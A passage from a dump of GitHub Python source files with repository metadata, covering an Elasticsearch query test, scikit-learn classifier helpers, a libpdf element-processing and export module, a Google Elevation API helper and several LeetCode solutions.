\"2009-11-15T14:12:12\", \"message\": \"this is a test\"}]\n\n\nclass TestQueries(unittest.TestCase):\n \"\"\"docstring for TestQueries\"\"\"\n\n def setUp(self):\n self.es = Elasticsearch()\n self.index = \"twitter\"\n self.doc_type = \"tweet\"\n for tweet in TWEETS:\n self.es.index(self.index, \"tweet\", tweet)\n\n self.es.indices.refresh(self.index)\n\n def tearDown(self):\n self.es.indices.delete(\"twitter\")\n\n def get_hit(self, query, hit):\n return self.search(query)[\"hits\"][\"hits\"][hit][\"_source\"]\n\n def search(self, query):\n return self.es.search(self.index, self.doc_type, query.generate())\n\n def test_match_query(self):\n query = MatchQuery(field=\"message\", query=\"this test\")\n self.assertTrue(self.es.indices.validate_query(self.index, query.generate()))\n self.assertEqual(self.get_hit(query, 0), TWEETS[1])\n\n def test_match_all_query(self):\n query = MatchAllQuery(field=\"message\")\n self.assertTrue(self.es.indices.validate_query(self.index, query.generate()))\n self.assertEqual(self.search(query)[\"hits\"][\"total\"], len(TWEETS))\n\n def test_match_phrase_query(self):\n query = MatchPhraseQuery(field=\"message\", query=\"this is a test\")\n self.assertTrue(self.es.indices.validate_query(self.index, query.generate()))\n self.assertEqual(self.get_hit(query, 0), TWEETS[1])\n\n query = MatchPhraseQuery(field=\"message\", query=\"not match this is a test\")\n self.assertTrue(self.es.indices.validate_query(self.index, query.generate()))\n self.assertEqual(self.search(query)[\"hits\"][\"total\"], 0)\n\n\nif __name__ == \"__main__\":\n unittest.main()","repo_name":"flaviotruzzi/SimpleElasticSearchDSL","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70911369052","text":"import pandas as pd\nimport numpy as np\nfrom tqdm.auto import tqdm\n\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.svm import LinearSVC\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.metrics import roc_auc_score, average_precision_score\n\ndef lsvc_classifier(X_train, y_train, X_test, y_test):\n linear_svc = LinearSVC()\n linear_svc.fit(X_train, y_train)\n\n train_score = linear_svc.score(X_train, y_train)\n test_score = linear_svc.score(X_test, y_test)\n \n b_pred_svc = linear_svc.decision_function(X_test)\n auc_roc_svc_ = roc_auc_score(y_test, b_pred_svc)\n auc_pr_svc_ = average_precision_score(y_test, b_pred_svc)\n \n return linear_svc, {\n 'train_acc': train_score, 'test_acc': test_score, \n 'auc_roc_test': auc_roc_svc_, 'auc_pr_test': auc_pr_svc_\n }\n \ndef svc_classifier(X_train, y_train, X_test, y_test):\n svc_pipeline = Pipeline([\n ('scaling', StandardScaler()),\n ('svc', LinearSVC(dual=False))\n ])\n reg_Cs = np.logspace(-5, 1, 20)\n linear_svc = GridSearchCV(svc_pipeline, {\"svc__C\": reg_Cs}, cv=10) # chooses best by score estimate\n model = linear_svc.fit(X_train, y_train)\n\n best_model_svc = linear_svc.best_estimator_\n train_score = best_model_svc[1].score(X_train, y_train)\n test_score = best_model_svc[1].score(X_test, y_test)\n \n b_pred_svc = best_model_svc.decision_function(X_test)\n auc_roc_svc_ = roc_auc_score(y_test, b_pred_svc)\n auc_pr_svc_ = average_precision_score(y_test, b_pred_svc)\n \n return best_model_svc, {\n 'train_acc': train_score, 'test_acc': test_score, \n 'auc_roc_test': auc_roc_svc_, 'auc_pr_test': auc_pr_svc_\n }\n\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.ensemble import RandomForestClassifier\nfrom itertools import product\n\n\ndef decision_tree_classifier(\n X_train, y_train, X_test, y_test, \n depth_grid=range(3, 16), samples_leaf_grid=range(1, 5), random_forest=False\n):\n models = {}\n accuracy = {part: np.zeros((len(depth_grid), len(samples_leaf_grid))) for part in ['train', 'test']}\n\n for i, depth in tqdm(enumerate(depth_grid), total=len(depth_grid), leave=False):\n for j, samples_leaf in enumerate(samples_leaf_grid):\n if random_forest:\n model = RandomForestClassifier(\n max_depth = depth, \n min_samples_leaf = samples_leaf\n ).fit(X_train, y_train)\n else:\n model = DecisionTreeClassifier(\n max_depth = depth, \n min_samples_leaf = samples_leaf\n ).fit(X_train, y_train)\n pred_train = model.predict(X_train)\n pred = model.predict(X_test)\n accuracy['train'][i, j] = accuracy_score(y_train, pred_train) \n accuracy['test'][i, j] = accuracy_score(y_test, pred)\n models[(depth, samples_leaf)] = model\n for part in accuracy:\n accuracy[part] = pd.DataFrame(accuracy[part])\n accuracy[part].columns = samples_leaf_grid\n accuracy[part].index = depth_grid\n return models, accuracy\n\ndef full_pipeline(df, method='wishart', features=None):\n df_train = df.query('part == \\'train\\'')\n df_test = df.query('part == \\'test\\'')\n \n if method in ['wishart', 'kmeans', 'fcmeans']:\n features = ['mean_icd', 'min_icd', 'max_icd']\n elif method in ['fuzzy', 'wishart_w_noise']:\n features = ['mean_icd', 'min_icd', 'max_icd', 'noise', 'n_clusters']\n elif method == 'ec':\n features = ['entropy', 'complexity']\n elif method == 'all':\n features = [\n 'entropy', 'complexity', \n 'ws_min_icd', 'ws_max_icd', 'ws_mean_icd', \n 'fws_min_icd', 'fws_max_icd', 'fws_mean_icd', 'noise', 'n_clusters', \n 'km_min_icd', 'km_max_icd', 'km_mean_icd', \n 'fcm_min_icd', 'fcm_max_icd', 'fcm_mean_icd'\n ]\n elif method == 'tda':\n features = [\n 'PE_0', 'PE_1', 'NoP_0', 'NoP_1', 'A_bottleneck_0', 'A_bottleneck_1',\n 'A_wasserstein_0', 'A_wasserstein_1', 'A_landscape_0', 'A_landscape_1',\n 'A_persistence_image_0', 'A_persistence_image_1'\n ]\n elif method == 'custom':\n assert features is not None\n \n X_train = df_train[features]\n y_train = df_train.text_type == 'lit'\n\n X_test = df_test[features]\n y_test = df_test.text_type == 'lit'\n \n res_svc = svc_classifier(X_train.to_numpy(), y_train, X_test.to_numpy(), y_test)\n res_lsvc = lsvc_classifier(X_train.to_numpy(), y_train, X_test.to_numpy(), y_test)\n res_dt = decision_tree_classifier(X_train.to_numpy(), y_train, X_test.to_numpy(), y_test)\n res_rf = decision_tree_classifier(\n X_train.to_numpy(), y_train, X_test.to_numpy(), y_test, \n samples_leaf_grid=range(1, 11),\n random_forest=True\n )\n \n res_clf = {}\n\n res_rf_test = res_rf[1]['test']\n res_rf_train = res_rf[1]['train']\n best_idx = res_rf_test.to_numpy().argmax()\n d, s = list(product(res_rf_test.index, res_rf_test.columns))[best_idx]\n params = {'depth': d, 'samples_leaf': s}\n train_acc = res_rf_train.to_numpy().flatten()[best_idx]\n test_acc = res_rf_test.to_numpy().flatten()[best_idx]\n res_clf['random_forest'] = {'train_acc': train_acc, 'test_acc': test_acc, 'params': params, 'model': res_rf[0][(d, s)]}\n\n res_dt_test = res_dt[1]['test']\n res_dt_train = res_dt[1]['train']\n best_idx = res_dt_test.to_numpy().argmax()\n d, s = list(product(res_dt_test.index, res_dt_test.columns))[best_idx]\n params = {'depth': d, 'samples_leaf': s}\n train_acc = res_dt_train.to_numpy().flatten()[best_idx]\n test_acc = res_dt_test.to_numpy().flatten()[best_idx]\n res_clf['decision_tree'] = {'train_acc': train_acc, 'test_acc': test_acc, 'params': params, 'model': res_rf[0][(d, s)]}\n \n params = {'C': res_svc[0][1].C}\n res_clf['svc'] = {'params': params, 'model': res_svc[0]} | res_svc[1]\n res_clf['lsvc'] = {'model': res_lsvc[0]} | res_lsvc[1]\n \n return res_clf","repo_name":"quynhu-d/stb-semantic-analysis-tools","sub_path":"lib/classify.py","file_name":"classify.py","file_ext":"py","file_size_in_byte":6156,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"30719988994","text":"\"\"\" \nhttps://leetcode-cn.com/problems/7WqeDu/\n剑指 Offer II 057. 值和下标之差都在给定的范围内\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def containsNearbyAlmostDuplicate(self, nums: List[int], k: int, t: int) -> bool:\n w = t+1\n\n def get_bucket_id(num):\n if num >= 0:\n return num // w\n else:\n return int((num+1)/w) - 1\n bucket = dict()\n for i, num in enumerate(nums):\n ID = get_bucket_id(num)\n if ID in bucket:\n return True\n if ID - 1 in bucket and num - bucket[ID - 1] <= t:\n return True\n if ID + 1 in bucket and bucket[ID + 1] - num <= t:\n return True\n bucket[ID] = num\n if i >= k:\n del_ID = get_bucket_id(nums[i-k])\n del bucket[del_ID]\n return False\n","repo_name":"NearTheSeas/algorithm","sub_path":"python/Offer2_57.py","file_name":"Offer2_57.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"43747397966","text":"#!/usr/bin/python3\n\nup = ['up', 'вверх']\ndown = ['down', 'вниз']\nright = ['right', 'вправо']\nleft = ['left', 'влево']\nstop = ['stop', 'стоп']\n\ndef main():\n \"\"\"Changes and prints coordinate parameters\n in a loop until the user interrupts it.\"\"\"\n x = y = 0\n\n while True:\n command = input_command('Enter the command: ')\n if command in stop: break\n\n movement = command[0]\n step = command[1]\n\n _x, _y = x, y\n\n if movement in up: y += step\n elif movement in down: y -= step\n elif movement in right: x += step\n elif movement in left: x -= step\n\n print(f'({_x}; {_y}) -> ({x}; {y})\\n')\n\ndef input_command(message):\n \"\"\"Returns the correct command.\n \n Parameters\n ----------\n message : str\n A message to the user when entering data\n\n Returns\n -------\n list\n a list in the format [command, number]\n str\n a string with stop command\n \"\"\"\n movements = up + down + right + left\n\n while True:\n command = input(message).split(' ')\n movement = command[0]\n \n if movement in stop:\n return movement\n elif movement not in movements or len(command) != 2:\n print('Command not defined!\\n')\n continue\n\n try:\n command[1] = float(command[1])\n except ValueError:\n print('The input is not a number!\\n')\n else:\n return command\n\nif __name__ == '__main__':\n main()","repo_name":"ilsemakin/PythonTensor","sub_path":"3-practice/2-task.py","file_name":"2-task.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"19233142921","text":"\"\"\"Process the things which I don't know how to categorize.\n\nIt includes:\n1. metadata of chars and lines process\n2. annotation markup\n3. elements sorting\n4. yaml output\n\"\"\"\nimport datetime\nimport decimal\nimport json\nimport logging\nimport os\nimport sys\nfrom typing import Dict, List, Optional, Union\n\nfrom libpdf import parameters\nfrom libpdf.apiobjects import ApiObjects\nfrom libpdf.catalog import catalog\nfrom libpdf.models.chapter import Chapter\nfrom libpdf.models.element import Element\nfrom libpdf.models.figure import Figure\nfrom libpdf.models.link import Link\nfrom libpdf.models.model_base import ModelBase\nfrom libpdf.models.page import Page\nfrom libpdf.models.paragraph import Paragraph\nfrom libpdf.models.position import Position\nfrom libpdf.models.table import Cell, Table\nfrom libpdf.parameters import HEADLINE_TOLERANCE\n\nimport ruamel.yaml\nfrom ruamel.yaml.representer import RoundTripRepresenter\n\n\nLOG = logging.getLogger(__name__)\n\n\ndef remove_page_header_footer(single_page):\n \"\"\"Remove header and footer.\"\"\"\n page_crop = single_page.within_bbox(\n (\n 0,\n decimal.Decimal(parameters.PAGE_CROP_MARGINS['top']),\n single_page.width,\n single_page.height - decimal.Decimal(parameters.PAGE_CROP_MARGINS['bottom']),\n ),\n )\n\n return page_crop\n\n\nclass MyRepresenter(RoundTripRepresenter): # pylint: disable=too-few-public-methods\n \"\"\"Customized representer of yaml.\"\"\"\n\n def represent_mapping(self, tag, mapping, flow_style=None):\n \"\"\"Override represent_mapping.\"\"\"\n tag = 'tag:yaml.org,2002:map'\n\n return RoundTripRepresenter.represent_mapping(self, tag, mapping, flow_style=flow_style)\n\n\ndef to_dict_output(obj: Union[ModelBase, Position]) -> Dict: # pylint: disable=too-many-branches #easy to in one func\n \"\"\"Turn all objects attributes into a dictionary.\"\"\"\n vars_dict = vars(obj).copy()\n\n if isinstance(obj, (Chapter, Figure, Page, Paragraph, Table)):\n # insert id as first key into vars_dict\n # After python3.6/3.7, a dict is sorted in insertion order\n # https://docs.python.org/3.6/whatsnew/3.6.html#whatsnew36-compactdict\n # https://docs.python.org/3.7/tutorial/datastructures.html#dictionaries\n temp_dict = {'id': obj.id_}\n temp_dict.update(vars_dict)\n vars_dict = temp_dict\n if isinstance(obj, (Figure, Paragraph, Table)):\n # idx is not part of the UML model and should not be exported\n del vars_dict['idx']\n if isinstance(obj, Page):\n # no serialization for the contents of pages\n del vars_dict['content']\n if isinstance(obj, (Paragraph, Cell, Chapter)):\n # textboxes with positions are not interest of the output file\n if obj.textbox:\n text = obj.textbox.text\n vars_dict['text'] = text\n del vars_dict['textbox']\n if isinstance(obj, Figure):\n # textboxes with positions are not interest of the output file\n if obj.textboxes:\n text = '\\n'.join(x.text for x in obj.textboxes)\n vars_dict['text'] = text\n del vars_dict['textboxes']\n\n # delete back references so the export does not create circular loops\n delete_backref_keys = []\n for key in vars_dict:\n if key.startswith('b_'):\n delete_backref_keys.append(key)\n for key in delete_backref_keys:\n del vars_dict[key]\n\n for key, value in vars_dict.items():\n if isinstance(value, (ModelBase, Position)):\n # recurse directly\n vars_dict[key] = to_dict_output(value)\n elif isinstance(value, list):\n # iterate and then recurse\n for index, element in enumerate(value):\n if isinstance(element, (ModelBase, Position)):\n vars_dict[key][index] = to_dict_output(element)\n\n if 'page' in vars_dict:\n # according to the model pages are serialized as page.\n # this supports the common adressing scheme in libpdf\n vars_dict['page'] = vars_dict['page']['id']\n\n return vars_dict\n\n\ndef json_datetime_converter(obj):\n \"\"\"Serialize datetime instance for JSON.\"\"\"\n if isinstance(obj, datetime.datetime):\n return obj.__str__()\n return obj\n\n\ndef output_dump(output_format: str, output_path: str, objects: ApiObjects):\n \"\"\"\n Dump the extracted content into a yaml file.\n\n :param output_format:\n :param output_path:\n :param objects:\n :return:\n \"\"\"\n # TODO docstring incomplete\n ruamel_yaml = ruamel.yaml.YAML()\n ruamel_yaml.Representer = MyRepresenter\n ruamel_yaml.indent(sequence=4, offset=2)\n # # ruamel_yaml.representer.ignore_aliases = lambda *data: True\n #\n # ruamel_yaml.register_class(Table)\n # ruamel_yaml.register_class(Position)\n # ruamel_yaml.register_class(Page)\n # ruamel_yaml.register_class(Root)\n # ruamel_yaml.register_class(File)\n # ruamel_yaml.register_class(FileMeta)\n # ruamel_yaml.register_class(Paragraph)\n # ruamel_yaml.register_class(Chapter)\n # ruamel_yaml.register_class(Cell)\n\n output_dict = {'root': to_dict_output(objects.root)}\n\n if output_path is None:\n LOG.info('Writing extracted data to stdout')\n if output_format == 'json':\n print(json.dumps(output_dict, default=json_datetime_converter, indent=2, sort_keys=False))\n elif output_format == 'yaml':\n ruamel_yaml.dump(output_dict, sys.stdout)\n else:\n output_dir = os.path.dirname(output_path)\n if output_dir:\n if not os.path.isdir(output_dir):\n os.makedirs(output_dir)\n with open(output_path, 'w', encoding='utf-8') as file:\n if output_format == 'json':\n json_string = json.dumps(output_dict, default=json_datetime_converter, indent=2, sort_keys=False)\n file.write(json_string)\n elif output_format == 'yaml':\n ruamel_yaml.dump(output_dict, file)\n\n\ndef merge_all_elements(*elements):\n \"\"\"\n Merge all the elements in to a list in a flatten structure and they are sorted by pages and y coordinate.\n\n :param elements:\n :return:\n \"\"\"\n element_list = []\n for element in elements:\n if len(element) > 0:\n for obj in element:\n element_list.append(obj)\n\n element_list.sort(key=lambda x: (x.position.page.number, (float(x.position.page.height) - x.position.y0)))\n\n return element_list\n\n\ndef filter_out_outline_page(outline_dict):\n \"\"\"Filter out outline whose target page are not in the extracted pages list.\"\"\"\n for outline_chapter in outline_dict['content'].copy():\n if outline_chapter['position']['page'] is None:\n outline_dict['content'].remove(outline_chapter)\n # recursively check subchapter\n if outline_chapter['content']:\n filter_out_outline_page(outline_chapter)\n return outline_dict\n\n\ndef map_elements_outline(\n element_list: List[Union[Chapter, Figure, Table, Paragraph]],\n outline_dict,\n) -> List[Union[Chapter, Figure, Table, Paragraph]]:\n \"\"\"\n Map elements into a nested outline structure.\n\n :param element_list: a list of elements including chapters, figures, tables, and paragraphs in a flatten structure.\n :param outline_dict: a nested outline structure from catalogs.\n :return:\n \"\"\"\n # filter out outline whose target page are not in the extracted pages list\n filter_out_outline_page(outline_dict)\n\n if outline_dict['content']:\n elements_above_outline = list(\n filter(\n lambda x: x.position.page.number < outline_dict['content'][0]['position']['page']\n or (\n x.position.page.number == outline_dict['content'][0]['position']['page']\n and x.position.y1 > outline_dict['content'][0]['position']['y1'] + HEADLINE_TOLERANCE\n ),\n element_list,\n ),\n )\n\n elements_in_outline = list(\n filter(\n lambda x: x.position.page.number > outline_dict['content'][0]['position']['page']\n or (\n x.position.page.number == outline_dict['content'][0]['position']['page']\n and x.position.y1 < outline_dict['content'][0]['position']['y1'] + HEADLINE_TOLERANCE\n ),\n element_list,\n ),\n )\n else:\n # all the elements are all above outline\n elements_above_outline = element_list\n elements_in_outline = []\n\n # elements_in_outline must start with chapter\n for idx, elem in enumerate(elements_in_outline):\n if isinstance(elem, Chapter):\n elements_above_outline.extend(elements_in_outline[:idx])\n del elements_in_outline[:idx]\n break\n\n # acquire a list of chapters where their contents are filled with the corresponding elements, figures, tables\n # and paragraphs. This chapter list is still in a flatten structure\n chapters_content_filled = fill_elements_content(elements_in_outline)\n\n # turn chapters in a flatten structure into nested one\n nested_chapters: List[Chapter] = []\n\n mapping_chapters(chapters_content_filled, nested_chapters, outline_content=outline_dict['content'], b_chapter=None)\n\n # elements below the outline\n nested_elements = elements_above_outline + nested_chapters\n\n return nested_elements\n\n\ndef fill_elements_content(elements_in_outline: List[Union[Chapter, Figure, Table, Paragraph]]) -> List[Chapter]:\n \"\"\"\n Fill the elements, tables, figures and paragraphs into their corresponding chapters' contents.\n\n The back chapter's reference of tables, figures, and paragraphs are added in this function\n\n :param elements_in_outline: a list of elements covered by the outline.\n :return: a list of chapters in a flatten structure.\n \"\"\"\n for index_element, element in enumerate(elements_in_outline):\n if isinstance(element, Chapter):\n id_dict = {'table': 1, 'figure': 1, 'paragraph': 1}\n content = elements_in_outline[index_element].content\n index_b_chapter = index_element\n else:\n if 'content' in locals():\n element.idx = id_dict[element.type]\n element.b_chapter = elements_in_outline[index_b_chapter]\n content.append(element)\n id_dict[element.type] += 1\n else:\n # TODO 1. this exception is not caught in libpdf code and will go all the way up to the user (wanted?)\n # 2. the message is unclear\n # 3. if it's a programming error, fix the code\n # 4. if it's a real runtime issue coming from wrong PDF input, catch the error one level above\n # and log an understandable, critical error\n raise ValueError('elements can not fill into the content because it does not exist')\n\n chapters_content = list(filter(lambda x: isinstance(x, Chapter), elements_in_outline))\n\n return chapters_content\n\n\ndef mapping_chapters(\n chapters_content_filled: List[Chapter],\n nested_chapters: List,\n outline_content,\n b_chapter: Optional[Chapter],\n):\n \"\"\"\n Map flatten chapters into a nested outline structure recursively.\n\n The function traverses the chapters in the outline and check if the position of any chapter in a flatten structure\n matches the current chapter's position.\n\n :param chapters_content_filled: A list of flatten chapters with content filled with corresponding elements\n apart from chapters.\n :param nested_chapters: A list of nested chapters\n :param outline_content: A outline where chapters' headlines are nested.\n :param b_chapter: A back reference chapter\n :return:\n \"\"\"\n for outline_chapter in outline_content:\n\n # use a list to contain the filtered chapter because I don't know how to process a filtered object.\n # check if the title and page number are matched.\n filter_chapter = [\n x\n for x in chapters_content_filled\n if x.title == outline_chapter['title'] and x.number == outline_chapter['number']\n ]\n\n # Presumably, there is only one chapter matched in a flatten structure\n if not filter_chapter:\n # TODO this is not a good log message\n # 1. as a developer, I don't understand it\n # 2. the message is for end users but it contains an internal variable elements_in_outline\n # 3. level is DEBUG but it looks like a problem\n LOG.debug('The expected element %s may be not in elements_in_outline', outline_chapter['title'])\n\n # raise ValueError('No filtered chapter found. The expected element may be not in elements_in_outline')\n continue\n\n filter_chapter[0].b_chapter = b_chapter\n nested_chapters.append(filter_chapter[0])\n index_chapter = len(nested_chapters) - 1\n\n if outline_chapter['content']: # next deeper level\n if isinstance(nested_chapters[index_chapter], Chapter):\n mapping_chapters(\n chapters_content_filled,\n nested_chapters[index_chapter].content,\n outline_chapter['content'],\n b_chapter=nested_chapters[index_chapter],\n )\n else:\n LOG.debug('Non-Chapter object %s is detected', nested_chapters[index_chapter].id)\n\n\ndef libpdf_target_explorer( # pylint: disable=too-many-nested-blocks # local algorithm, better readability\n elements: List[Union[Paragraph, Table]],\n pages_list: List[Page],\n):\n \"\"\"\n Convert the name_destination/target_link to nest ID paths.\n\n Target links are inserted on the first stage of linked_chars extraction and these are in the forms of\n either implicit (name destination) or explicit target (position), so these target links require the\n conversion. The first stage happens when paragraphs or tables are rendered.\n\n The conversion consists of the following steps:\n\n 1. find a page where annos (source links) occur\n 2. find elements on the page containing annos\n 3. find the elements containing annos\n 4. extract the annos of the element\n 5. find the element directed by the target link of the anno\n 6. convert the target_link (positions or name destinations) in the annos to hierarchical element's ID paths\n\n The results of the conversion will be directly applied in the input list 'elements'.\n\n :param elements: a list of paragraphs or tables, where the results of conversion are directly applied.\n :param pages_list: a list of pages referred by the elements\n \"\"\"\n # find the page containing source links\n for page in pages_list:\n if page.number in catalog['annos']:\n elements_on_page = [x for x in elements if x.position.page.number == page.number]\n\n # find the elements which contains source links on a certain page\n elements_with_anno = elements_with_anno_finder(elements_on_page)\n\n if elements_with_anno:\n for element in elements_with_anno:\n if len(element.links) > 0:\n for link in element.links:\n target_id = find_target_id(link, pages_list, element)\n link.libpdf_target = target_id\n else:\n if isinstance(element, Cell):\n # Cell is not considered as element\n pass\n else:\n # TODO reason about the overall logic; which cases can be removed? distinguish between\n # programming errors (raise RuntimeErrors) and cases that actually may exist in the\n # wild and write human-readable log messages (e.g.\n # The link on page xy with text xy cannot be resolved to a libpdf element; linking\n # to the target page position instead\n LOG.error(\n 'The source link in the paragraph %s is missing',\n repr(element),\n )\n\n\ndef elements_with_anno_finder(\n elements_on_page: List[Union[Paragraph, Table]],\n) -> Union[List[Union[Chapter, Paragraph, Figure, Table, Cell]], None]:\n \"\"\"\n Find the elements, tables or paragraphs containing source links.\n\n The function use two nested loop to collect the elements containing annos. As longs as an element\n containing an anno is found, this element will be popped out from the searching list.\n\n The algorithm still has room to improve for the runtime.\n\n :param elements_on_page: a list of elements on a certain page\n :param anno_page: a list of annotations (source links) on a certain page\n :return: a list of elements containing annotations\n \"\"\"\n if not elements_on_page:\n return None\n\n elements_with_anno = []\n\n if isinstance(elements_on_page[0], Table):\n flatten_cells = []\n for table in elements_on_page:\n flatten_cells.extend(table.cells)\n\n elements_on_page = flatten_cells\n\n for element in reversed(elements_on_page):\n # check if the element contains links\n if element.links:\n elements_with_anno.append(element)\n elements_on_page.remove(element)\n\n return elements_with_anno\n\n\ndef find_target_id(link: Link, pages_list: List[Page], src_element: Element) -> str:\n \"\"\"\n Find the corresponding libpdf target element ID from positions.\n\n :param target_name: custom string representation of the PDF named destination or explicit target;\n example for named destination: ``section1.1``;\n example for explicit target: ``page: 4 rect_X: 300 rect_Y: 400``\n :param pages_list: list of libpdf pages\n :param src_element: the element that contains the source link, for logging purposes\n :return: libpdf target ID if the target element is found, otherwise a string representing the\n page with the x/y coordinate of the destination\n \"\"\"\n target_id = None\n\n if link.pos_target['page']:\n for page in pages_list:\n if page.number == link.pos_target['page']:\n target_page = page\n # target_page = pages_list[link.pos_target['page'] - 1]\n elements_target_page = get_elements_page(target_page)\n for element in elements_target_page:\n if element.contains_coord(link.pos_target['page'], link.pos_target['x'], link.pos_target['y']):\n target_id = nest_explorer(element)\n break\n\n if not target_id:\n # If no libpdf element is found,\n # the target is set to the target coordinates given as page./:\n # To improve element detection, the parameter TARGET_COOR_TOLERANCE may need to be adjusted\n target_id = f'{target_page.id_}/{link.pos_target[\"x\"]}:{link.pos_target[\"y\"]}'\n\n text = str(src_element)\n text_shortened = (text[:60] + '..') if len(text) > 60 else text\n LOG.debug(\n 'The link \"%s\" on page %s could not be resolved to a libpdf element; replacing it with the raw '\n 'target page coordinate %s',\n text_shortened,\n src_element.position.page.number,\n target_id,\n )\n else:\n target_id = 'Out Of extracted pages scope'\n\n return target_id\n\n\ndef get_elements_page(target_page: Page) -> List[Union[Paragraph, Table, Figure]]:\n \"\"\"\n Collect the elements, which occurs on a certain target page.\n\n :param target_page: a page which is directed to by target links\n :return: a list of elements on a target page\n \"\"\"\n elements_target_page = []\n for position in target_page.b_positions:\n # b_element for Cell is None\n if position.b_element:\n elements_target_page.append(position.b_element)\n\n return elements_target_page\n\n\ndef nest_explorer(element: Union[Figure, Table, Chapter, Paragraph]) -> str:\n \"\"\"\n Explore the nested target ID path recursively.\n\n :param element: a target element on a certain level of the hierarchy\n :return: element ID with a hierarchical path\n \"\"\"\n if element.b_chapter:\n element_id = nest_explorer(element.b_chapter)\n element_id = element_id + '/' + element.id_\n else:\n element_id = element.id_\n\n return element_id\n","repo_name":"useblocks/libpdf","sub_path":"libpdf/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":20685,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"32"} +{"seq_id":"22532535430","text":"import requests\nimport json\nimport time\napikey = \"\"\n\npastTime = 0\n\n\ndef getRequestTime(func):\n def wrap(*args, **kwargs):\n global pastTime\n startTime = time.time()\n result = func(*args, **kwargs)\n endTime = time.time()\n pastTime = endTime - startTime\n # print(pastTime)\n return result\n return wrap\n\n\n@getRequestTime\ndef getHF(latlng):\n serviceURL = \"https://maps.googleapis.com/maps/api/elevation/json?locations=\" + \\\n latlng.replace(\"\\n\", \"\")+\"&key=\"+apikey\n # print(serviceURL)\n r = requests.get(serviceURL)\n # print(r.text)\n y = json.loads(r.text)\n elevList = []\n for result in y[\"results\"]:\n elev = result[\"elevation\"]\n elevList.append(elev)\n # print(elevList)\n # print(pastTime)\n return elevList, pastTime\n\n@getRequestTime\ndef getHPoly(coords, samples):\n serviceURL = \"https://maps.googleapis.com/maps/api/elevation/json?path=\" + coords + f\"&samples={samples}&key=\"+apikey\n r = requests.get(serviceURL)\n y = json.loads(r.text)\n elevList = []\n sorguKoordinatlari = []\n for result in y[\"results\"]:\n elev = result[\"elevation\"]\n location = result[\"location\"]\n lat, lng = location[\"lat\"], location[\"lng\"]\n sorguKoordinatlari.append((lat,lng))\n elevList.append(elev)\n return elevList, sorguKoordinatlari, pastTime\n\ndef encodePoints(points):\n latitude = 0\n longitude = 0\n result = \"\"\n\n for point in points:\n newLatitude = round(point[0]*100000)\n newLongitude = round(point[1]*100000)\n dy = newLatitude - latitude\n dx = newLongitude - longitude\n latitude = newLatitude\n longitude = newLongitude\n dy = (dy << 1) ^ (dy >> 31)\n dx = (dx << 1) ^ (dx >> 31)\n index = ((dy + dx) * (dy + dx + 1) / 2) + dy\n while (index > 0):\n rem = int(index) & 31\n index = (index - rem) / 32\n if (index > 0):\n rem += 32\n result += \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-\"[\n rem]\n return result\n\n# print(encodePoints([[37.96359396848452,34.7291391326945]]))\n","repo_name":"mytsx/koordinates","sub_path":"getH.py","file_name":"getH.py","file_ext":"py","file_size_in_byte":2187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2329459897","text":"\"\"\"\nhttps://leetcode-cn.com/problems/sum-root-to-leaf-numbers/\n\n\n129. 求根到叶子节点数字之和\n给定一个二叉树,它的每个结点都存放一个 0-9 的数字,每条从根到叶子节点的路径都代表一个数字。\n\n例如,从根到叶子节点路径 1->2->3 代表数字 123。\n\n计算从根到叶子节点生成的所有数字之和。\n\n说明: 叶子节点是指没有子节点的节点。\n\n示例 1:\n\n输入: [1,2,3]\n 1\n / \\\n 2 3\n输出: 25\n解释:\n从根到叶子节点路径 1->2 代表数字 12.\n从根到叶子节点路径 1->3 代表数字 13.\n因此,数字总和 = 12 + 13 = 25.\n示例 2:\n\n输入: [4,9,0,5,1]\n 4\n / \\\n 9 0\n / \\\n5 1\n输出: 1026\n解释:\n从根到叶子节点路径 4->9->5 代表数字 495.\n从根到叶子节点路径 4->9->1 代表数字 491.\n从根到叶子节点路径 4->0 代表数字 40.\n因此,数字总和 = 495 + 491 + 40 = 1026.\n\"\"\"\n\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def sumNumbers(self, root: TreeNode) -> int:\n if root is None:\n return 0\n\n self.s = 0\n\n def f(root, r=0):\n r = r * 10 + root.val\n if root.left is None and root.right is None:\n self.s += r\n return\n if root.left:\n f(root.left, r)\n if root.right:\n f(root.right, r)\n\n f(root, 0)\n\n return self.s\n","repo_name":"ironboxer/leetcode","sub_path":"python/129.py","file_name":"129.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29993820804","text":"# O(n^2)\n# two pointers\nclass Solution:\n def longestPalindrome(self, s: str) -> str:\n if not s:\n return s\n \n result = (0, 0)\n for i in range(len(s)):\n result = max(result, self.getPalindrome(s, i, i))\n result = max(result, self.getPalindrome(s, i, i + 1))\n \n return s[result[1]: result[0] + result[1]]\n \n def getPalindrome(self, s, left, right):\n while left >= 0 and right < len(s) and left <= right:\n if s[left] != s[right]:\n break\n left -= 1\n right += 1\n return right - left - 1, left + 1\n\n# dp\nclass Solution:\n def longestPalindrome(self, s: str) -> str:\n if not s:\n return s\n \n n = len(s)\n isPalindorme = [[False] * n for _ in range(n)]\n for i in range(n):\n isPalindorme[i][i] = True\n \n start, longest = 0, 1\n for i in range(n - 1):\n if s[i] == s[i + 1]:\n isPalindorme[i][i + 1] = True\n start = i\n longest = 